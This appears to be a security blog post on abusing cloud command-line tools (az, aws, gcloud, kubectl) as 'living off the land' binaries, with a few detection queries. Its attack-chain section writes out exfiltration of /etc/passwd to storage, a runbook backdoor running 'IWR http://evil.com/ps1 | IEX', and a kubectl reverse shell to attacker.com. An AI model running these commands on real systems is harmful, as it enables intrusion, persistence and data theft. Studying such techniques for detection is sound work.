Cloud LOLBins: The Next Frontier of Living Off the Land

If Windows gave us certutil, the cloud gave us az, aws, and gcloud — pre-authenticated, pre-installed, and perfectly trusted.


Top 10 Cloud LOLBins (2025)

ToolPlatformMalicious UseMITRE
az (Azure CLI)AzureExfil via az storage blob upload, run commands via az vm run-commandT1071, T1059
awsAWSS3 exfil, Lambda backdoor, SSM remote execT1567, T1059.006
gcloudGCPSecret Manager dump, GCE instance abuseT1552
kubectlKubernetesPod exec, secret theft, port-forwardT1059.008
terraformMulti-cloudState file exfil, provider abuseT1486
packerCI/CDImage backdoor injectionT1036
helmK8sMalicious chart deploymentT1525
doctlDigitalOceanDroplet snapshot exfilT1567
oc (OpenShift CLI)RHELProject enumeration, pod shellT1087
gh (GitHub CLI)GitHub ActionsRepo secrets dumpT1552.005

Real-World Attack Chain (Azure Example)

# 1. Attacker lands on compromised Azure VM (CLI pre-auth'd via Managed Identity)
whoami  # azuread\system
 
# 2. Enumerate subscriptions
az account list --output table
 
# 3. Exfiltrate data via Storage Account (no egress firewall trigger)
az storage blob upload \
  --account-name targetstorage \
  --container-name loot \
  --name db_backup.bak \
  --file /etc/passwd \
  --auth-mode login
 
# 4. Persistence via Automation Runbook
az automation runbook create \
  --resource-group rg-prod \
  --automation-account-name auto-prod \
  --name backdoor \
  --type PowerShell \
  --content 'IWR http://evil.com/ps1 | IEX'

Kubernetes kubectl LOLBin One-Liner

# Get shell in any pod — no kubectl binary needed if already in cluster
kubectl exec -it $(kubectl get pods -n default -o jsonpath="{.items[0].metadata.name}") -- sh -c "nc -e /bin/sh attacker.com 443"

Defense & Hunting (Blue Team)

// Hunt az CLI exfil
DeviceProcessEvents
| where FileName == "az"
| where ProcessCommandLine contains "storage blob upload" or contains "run-command"
# CloudTrail + Sigma: AWS CLI abuse
detection:
  selection:
    eventName: "RunCommand"
    sourceIPAddress: "ec2-instance-ip"
  condition: selection

2025 Trend: LOLBins in Serverless

  • aws lambda invoke --payload file://payload.json backdoor.zip
  • gcloud functions call backdoor --data '{"exec":"whoami"}'

Final Word

The cloud is the new OS. Its CLI tools are the new LOLBins.
Monitor command-line + identity + network context — not just file drops.